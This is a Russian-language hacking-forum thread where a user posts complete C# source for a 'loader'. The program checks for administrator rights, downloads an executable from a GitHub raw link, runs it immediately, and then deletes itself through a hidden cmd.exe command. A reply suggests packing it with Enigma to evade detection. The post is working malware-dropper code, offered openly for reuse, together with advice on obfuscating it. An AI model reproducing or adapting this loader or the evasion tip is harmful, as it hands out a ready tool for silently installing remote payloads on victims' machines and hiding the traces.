• Внимание, Вы можете создать тему в даном разделе через "Ресурсы". Если Вы выкладываете не листинг программы — воспользуйтесь "Ресурсами". При нарушении правил форума — ваша тема удаляется и пересоздается от имени администратора без возможности переприсвоения Вам вашего интеллектуального труда.

[Source] Лоадырь на C#

Dendos

Пользователь

Dendos

Пользователь
Регистрация
15 Ноя 2017
Сообщения
128
Симпатии
96
Время онлайн
3дн 22ч 13м 51с
C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Principal;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Threading;
using System.Timers;
using System.Web;
using System.IO;
using System.Windows;
using System.Net.Security;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
using System.Runtime;


namespace Downloader2
{

internal class Program
{
public static bool IsAdmin
{
get
{
using (var identity = WindowsIdentity.GetCurrent())
{
return new WindowsPrincipal(identity).IsInRole(WindowsBuiltInRole.Administrator);
}
}
}
public static bool GetCheckForInternetConnection(string OpenClient)
{
try
{
using (new WebClient().OpenRead(OpenClient))
{
return true;
}
}
catch { return false; }
}
public class Pirate
{
public static void Com(string ArgText, string CommandText)
{
try
{
using (var process = new Process
{
StartInfo = {
Arguments = string.Concat(ArgText, Assembly.GetExecutingAssembly().Location),
WindowStyle = ProcessWindowStyle.Hidden,
FileName = CommandText,
CreateNoWindow = true }
}) { process.Start(); }
}
catch { }
}
}
public class LoadFunction
{
public static void DownloadFileEx(string Link, string SavePath, string FileName)
{
if (!File.Exists(Path.Combine(SavePath, FileName)))
{
using (var WC = new WebClient())
{
ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls;
WC.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64");
WC.DownloadFile(new Uri(Link), Path.Combine(SavePath, FileName));
Process.Start(Path.Combine(SavePath, FileName)); // После загрузки сразу запустить файл.
}
}
}

#region CheckCertificate

private static bool ValidateRemoteCertificate(object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors error)
{
if (error == SslPolicyErrors.None)
{
return true;
}
return false;
}

#endregion
}
private static void Main()
{

if (IsAdmin == true)
{
if (GetCheckForInternetConnection("https://www.google.ru"))
{
LoadFunction.DownloadFileEx("https://github.com/kotre54/Ivan/raw/master/TEST.exe", Environment.GetEnvironmentVariable(@"C:/Users/IOANN/Desktop/TEST.exe"), "TEST.exe");
}
else
{
File.AppendAllText("Error_Connect.txt", "Возможно у Вас нет интернет соединения, проверьте доступ в интернет и повторите снова!");
}
Pirate.Com("/C choice /C Y /N /D Y /T 0 & Del ", "cmd.exe"); // где 0 - это интервал времени удаления файла ( 0 - моментально удалить )
}
else
{
File.AppendAllText("Privileges.txt", "Запустите программу от имени Администратора!\r\n");
}
}
}

}
 

nataliasamarusakova

Новорег
Регистрация
5 Янв 2019
Сообщения
3
Симпатии
0
Время онлайн
33м 10с
накройте энигмой и все будет четко
 
Данный пользователь недостаточно провел времени на форуме! Работа с ним может быть не безопасна!
Сверху